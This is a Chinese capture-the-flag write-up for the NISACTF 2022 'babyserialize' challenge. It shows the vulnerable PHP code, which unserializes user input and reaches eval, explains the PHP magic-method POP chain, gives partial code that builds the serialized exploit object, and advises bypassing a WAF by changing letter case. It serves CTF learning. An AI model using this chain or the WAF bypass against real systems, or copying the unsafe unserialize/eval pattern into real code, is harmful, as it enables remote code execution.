[NISACTF 2022]babyserialize

[NISACTF 2022]babyserialize wp

题目代码:

 fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

首先回顾一下 php 全部魔术方法及其触发条件 :

__construct()– 在创建对象时调用,用于初始化对象的属性和方法。
__destruct() – 在对象销毁时调用,用于释放资源和清理操作。
__call(args) – 在调用一个不存在的方法时触发。
__callStatic(args) – 在调用一个不存在的静态方法时触发。
__get($name) – 在访问一个不存在的属性时触发。
__set(value) – 在给一个不存在的属性赋值时触发。给私有属性,受保护属性赋值也能触发。
__isset($name) – 在判断一个不存在的属性是否存在时触发。
__unset($name) – 在销毁一个不存在的属性时触发。
__sleep() – 在序列化一个对象时触发。
__wakeup() – 在反序列化一个对象时触发。
__toString() – 在将对象转换为字符串时触发。echo,print,die,strtolower等函数触发,还有弱比较 == 也能触发。
__invoke($args) – 在将对象作为函数调用时触发。
__set_state($properties) – 在使用var_export()导出类时触发。
__clone() – 在将对象复制时触发。
__debugInfo() – 在使用var_dump()函数打印对象时触发。

获取提示信息

直接传入一个序列化的 NISA 类的对象就可以触发,提示 flag 在根目录下。

根据这些,构造本题的 pop 链:

首先,eval 函数在 NISA 类的 __invoke() 方法中。

NISA 类的 __invoke() 方法在 Ilovetxw 类的 __toString() 方法中可以触发。只需要将 $bb() 赋值为 NISA 类的对象。

Ilovetxw 类的 __toString() 方法在 four 类的 __set 方法中可以触发。strtolower 函数在处理对象时会触发该对象的 __toString() 魔术方法,那么只需要将 $this->a 赋值为 Ilovetxw 类的对象。

four 类的 __set 方法在 Ilovetxw 类的 __call 方法中可以触发。将 $this->huang 赋值为 four 类的对象,那么 $this->huang->fun 将访问 four 类的私有属性 fun ,就会触发 __set 方法。

Ilovetxw 类的 __call 方法在 TianXiWei 类的 __wakeup() 方法中可以触发。只需将 $this->ext 赋值为 Ilovetxw 类的对象,那么 $this->ext->nisa($this->x) 就会访问对象中不存在的方法 nisa

最后,TianXiWei 类的 __wakeup() 方法在反序列化时触发。

由此,构造出以下代码:

ext = new Ilovetxw;
//$demo->x = "sixsixsix";
$demo->ext->huang = new four;
$demo->ext->huang->a = new Ilovetxw;
$demo->ext->huang->a->su = new NISA;
echo serialize($demo);

本题中,four 类的 __set 方法中的判断:if ($this->fun = "sixsixsix") 由于用的是一个等号,为赋值,故该表达式恒为真,所以没必要赋值 $demo->x = "sixsixsix";

NISA 类的 $fun 属性的值要改一下,避免触发提示。

本题中存在防火墙 waf.php ,用大小写绕过就好了。

你可能感兴趣的:(ctf,php反序列化,web安全,网络安全,PHP)